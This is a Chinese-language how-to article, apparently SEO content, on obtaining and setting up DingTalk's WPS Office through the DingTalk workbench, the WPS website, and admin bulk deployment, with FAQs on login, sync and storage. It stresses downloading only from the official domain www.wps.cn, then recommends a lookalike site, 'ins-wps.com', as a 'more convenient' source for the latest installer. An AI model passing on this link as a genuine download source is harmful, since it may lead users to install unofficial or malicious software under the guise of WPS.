
从钉钉工作台直接获取钉钉WPS
从钉钉工作台直接获取钉钉WPS是最直接的方式,尤其是对于已经在使用钉钉的用户来说,不用跳转到其他平台,一步就能找到。下面我讲两个常用的实现方式。
在钉钉PC端工作台找到钉钉WPS入口
这个方式适合在电脑上办公的用户,操作简单,不用额外打开浏览器。
打开钉钉PC端: 直接点击电脑桌面上的钉钉图标启动客户端,如果没有快捷方式,从开始菜单里找也可以。启动后输入账号密码或扫码登录,确保你登录的是正确的账号(个人或企业),网络要稳定,不然加载工作台会慢。我有次网络不好,工作台加载了半天才出来,后来连了公司WiFi就快多了。
进入工作台页面: 登录成功后,左侧导航栏有个“工作台”选项,点击它就能进入应用集合页面。这里面都是你常用的或企业配置的应用,比如考勤、审批这些,往下翻或者直接搜索都能找到钉钉WPS。搜索功能真的很方便,输入关键词就能直接定位,不用一个个找。
启动下载流程: 在工作台里找到钉钉WPS的图标,点击后会弹出一个窗口,上面有“下载”按钮,点击它就开始下载安装包了。下载完成后按照提示安装,安装过程中保持网络畅通,安装完成就能直接用钉钉账号登录使用。我有次安装的时候中途退出了,后来重新安装也没出问题,系统会自动检测已下载的文件。
在钉钉移动端工作台启动钉钉WPS下载
这个方式适合手机用户,随时随地都能操作。
打开钉钉移动端: 解锁手机,找到钉钉App的图标点击打开,确保登录的是你常用的账号。如果没登录的话,输入手机号验证码或扫码登录。我习惯用扫码登录,觉得比输密码安全又快捷。
进入工作台界面: 底部导航栏有个“工作台”按钮,点击它进入应用列表。这里的应用可能比较多,你可以用顶部的搜索框快速找到钉钉WPS,输入关键词就能直接定位。搜索框就在页面最上方,很容易找到。
触发下载安装: 找到钉钉WPS的应用卡片后,点击卡片上的“安装”按钮(如果已经有这个应用的话会显示“打开”)。等待下载完成,安装过程中手机不要退出钉钉,安装好后就能在钉钉里直接打开使用了。我上次在地铁上下载的,用流量也很快,大概一分钟就完成了。
通过WPS官网关联钉钉账号实现下载
如果你习惯从官网下载软件,这个方式也很靠谱,能确保拿到最新版本。下面讲两个实现方式。
在WPS官网选择钉钉登录方式
这个方式适合想从官网获取安装包的用户,步骤也不复杂。
打开WPS官网: 用浏览器打开WPS的官方网站(www.wps.cn),注意别点错了,要确保是正规域名,避免下载到恶意软件。我之前有个朋友点错了网站,下载了个带广告的版本,后来又卸载重新下的,所以一定要认准官网。
点击登录按钮: 官网首页右上角有个“登录”按钮,点击它会弹出登录选项,有微信、QQ、钉钉等,你选钉钉。选择钉钉后会跳转到钉钉的授权页面,确认授权就可以了。
完成授权下载: 点击钉钉后会跳转到钉钉的授权页面,确认授权后就能回到WPS官网,这时页面上会有“下载”按钮,点击它就能下载安装包了。如果你需要更便捷的方式,也可以访问WPS下载(https://ins-wps.com/)链接获取最新版本。下载完成后安装,用钉钉账号登录就能同步数据了。同步数据真的很方便,之前在钉钉里的文件都能直接看到。
通过WPS官网企业服务板块关联钉钉
这个方式适合企业用户,能批量关联企业账号。
进入企业服务页面: 在WPS官网首页底部找到“企业服务”的链接,点击进入企业服务板块。这里有针对企业的各种解决方案,包括钉钉WPS的企业版。企业版的功能更多,比如批量管理文件、设置员工权限等。
选择钉钉集成方案: 在企业服务页面里找到“钉钉集成”的选项,点击进入详情页。这里会介绍钉钉WPS的企业版功能,以及如何关联企业钉钉账号。我帮公司配置的时候,就是在这里找的集成方案,写得很详细。
获取企业版下载链接: 在详情页里找到“获取下载链接”的按钮,点击后输入企业名称和管理员联系方式,提交后会收到一封邮件,里面有企业版的下载链接和配置指南。按照指南操作就能下载并关联企业钉钉账号了。配置指南里的步骤很清晰,就算是新手管理员也能看懂。
在手机钉钉内同步安装钉钉WPS
这个方式适合手机用户,随时随地都能操作,不用单独去应用商店找。下面讲两个实现方式。
通过钉钉应用中心搜索下载
这个方式直接在钉钉内部完成,不用跳转到其他应用商店。
打开钉钉移动端: 解锁手机,找到钉钉App的图标点击打开,确保登录的是你常用的账号。如果没登录的话,输入手机号验证码或扫码登录。我平时都是自动登录的,省得每次都输密码。
进入应用中心: 底部导航栏点击“我的”,然后在页面里找到“应用中心”选项,点击进入。这里面有各种第三方应用,包括办公类、工具类等。应用中心的分类很清楚,找起来也方便。
搜索并安装: 在应用中心的搜索框输入“钉钉WPS”,找到对应的应用后点击“安装”按钮(如果已经有这个应用的话会显示“打开”)。等待下载安装完成,安装好后就能在钉钉里直接打开使用,数据也会自动同步。自动同步真的很省心,不用手动传文件。
利用钉钉消息推送的安装链接
如果企业管理员给你发了安装链接,这个方式更快捷。
查看钉钉消息: 打开钉钉,进入消息页面,找到管理员发的消息,里面应该有钉钉WPS的安装链接。如果没找到的话,检查一下“工作通知”里的消息,管理员通常会在那里推送。工作通知里的消息不会被淹没,很容易找到。
点击链接下载: 点击消息里的安装链接,会跳转到浏览器或应用商店的下载页面,点击“下载”按钮开始下载。下载完成后安装,安装好后打开应用,用钉钉账号登录就能使用了。我上次就是通过管理员发的链接下载的,比自己找快多了。
验证安装成功: 安装完成后,回到钉钉消息页面,告诉管理员你已经安装成功,这样管理员可以确认你的权限是否开启,确保你能正常使用所有功能。有次我安装完没告诉管理员,结果权限没开,后来跟管理员说一声就好了。
企业管理员批量配置钉钉WPS下载权限
对于企业管理员来说,批量配置能节省时间,确保所有员工都能快速使用。下面讲两个实现方式。
通过钉钉管理后台添加应用
这个方式是管理员常用的批量配置方法。
登录管理后台: 用企业管理员账号登录钉钉企业管理后台(oa.dingtalk.com),确保你有应用管理的权限。如果没有权限的话,要联系超级管理员授权。
搜索并添加应用: 在管理后台左侧导航栏找到“应用市场”,点击进入后在搜索框输入“钉钉WPS”,找到对应的应用后点击“添加”按钮。添加应用的过程很简单,几步就能完成。
设置全员授权: 添加完成后,进入应用的设置页面,找到“权限管理”选项,选择“全员授权”,这样所有员工都能在工作台看到钉钉WPS的图标,点击就能下载使用了。如果需要对特定部门授权,也可以选择部门进行权限设置。我帮公司配置的时候,就是给市场部和财务部单独授权的,其他部门暂时没开权限。
在WPS企业管理平台同步权限
这个方式适合已经使用WPS企业版的管理员。
登录企业管理平台: 用管理员账号登录WPS企业管理平台(eb.wps.cn),进入管理界面。这里可以管理企业的所有WPS应用和用户。
关联钉钉企业账号: 在平台左侧导航栏找到“账号管理”→“第三方关联”,选择“钉钉”,按照提示完成企业账号的关联。关联过程中需要输入钉钉企业的CorpID,这个可以在钉钉管理后台找到。CorpID是企业的唯一标识,一定要输入正确。
批量推送下载链接: 关联完成后,在平台里找到“应用分发”选项,选择“钉钉WPS”,点击“批量推送”,输入员工的钉钉账号或选择部门,推送下载链接。员工收到链接后点击就能下载安装,不用单独找安装包。批量推送真的省了好多时间,不用一个个通知员工。
WPS常见问题解答
问题:钉钉WPS下载后无法登录钉钉账号怎么办?
首先检查你的钉钉账号是否处于正常登录状态,或者是否有权限访问企业内的钉钉WPS应用。如果账号正常,尝试清除钉钉和WPS的缓存数据:打开手机设置→应用管理→找到钉钉(或WPS)→存储→清除缓存。我有次就是缓存太多导致登录失败,清除后就好了。若仍无法登录,联系企业管理员确认是否已为你开启钉钉WPS的使用权限,因为部分企业会对应用访问做限制,比如只允许特定部门使用。 确保你下载的钉钉WPS版本是最新的,过时版本可能存在兼容性问题,可以前往WPS官网重新下载安装包。如果以上方法都无效,尝试卸载后重新安装两个应用,再进行账号关联,通常能解决大部分登录问题。卸载前记得备份重要文件,避免数据丢失。
问题:WPS与钉钉文件同步失败如何处理?
首先确认网络连接是否稳定,同步功能需要良好的网络环境支持,若网络波动较大可能导致同步失败。我有次在地铁上同步文件,网络时好时坏,同步了好几次才成功。然后检查WPS和钉钉的账号是否为同一账号关联,若不是,前往WPS个人中心绑定正确的钉钉账号:进入WPS→我的→设置→账号与安全→第三方账号绑定→选择钉钉。 查看文件是否处于锁定状态(比如被其他设备打开编辑),锁定状态下无法进行同步操作,需要等待解锁后再尝试。 尝试手动触发同步:在WPS中打开需要同步的文件→点击右上角“分享/同步”→选择“钉钉同步”。如果仍失败,检查WPS的同步设置是否开启:进入WPS设置→同步设置→确保“自动同步”和“钉钉同步”选项已打开。若问题持续,联系WPS客服或钉钉客服提供详细的错误信息(比如错误代码、操作步骤),以便进一步排查和解决。客服的响应速度还挺快的,我上次联系客服,半小时就解决了问题。
问题:钉钉WPS下载后占用空间过大怎么办?
可以清理WPS的缓存文件:进入WPS设置→存储→清除缓存,这部分文件通常是临时文件(比如预览过的文档、图片缓存),清理后不会影响已保存的文档,能释放一定的空间。我上次清理了一下,释放了2G多的空间,效果很明显。 关闭自动下载附件功能:在钉钉WPS的设置中,找到“附件下载”选项,选择“仅在Wi-Fi下下载”或“手动下载”,避免自动下载大量不必要的附件占用空间。 定期整理不需要的文档:将不再需要的文件删除或转移到云端存储(比如WPS云盘或钉钉云盘),释放本地空间。云盘的存储空间很大,不用担心不够用。还可以检查是否开启了离线文件同步功能,若不需要离线访问所有文件,可关闭该功能,只同步常用文件:进入WPS→我的→云服务→离线文件→关闭自动同步离线文件。如果以上方法仍无法解决,考虑卸载后安装轻量版的WPS(若有),但需确认轻量版是否支持钉钉关联功能,避免影响日常使用。轻量版占用空间小,但功能可能会少一些,要根据自己的需求选择。
如果你按这些方法试了,欢迎回来告诉我效果!有任何问题都可以随时问我,我会尽量帮你解决。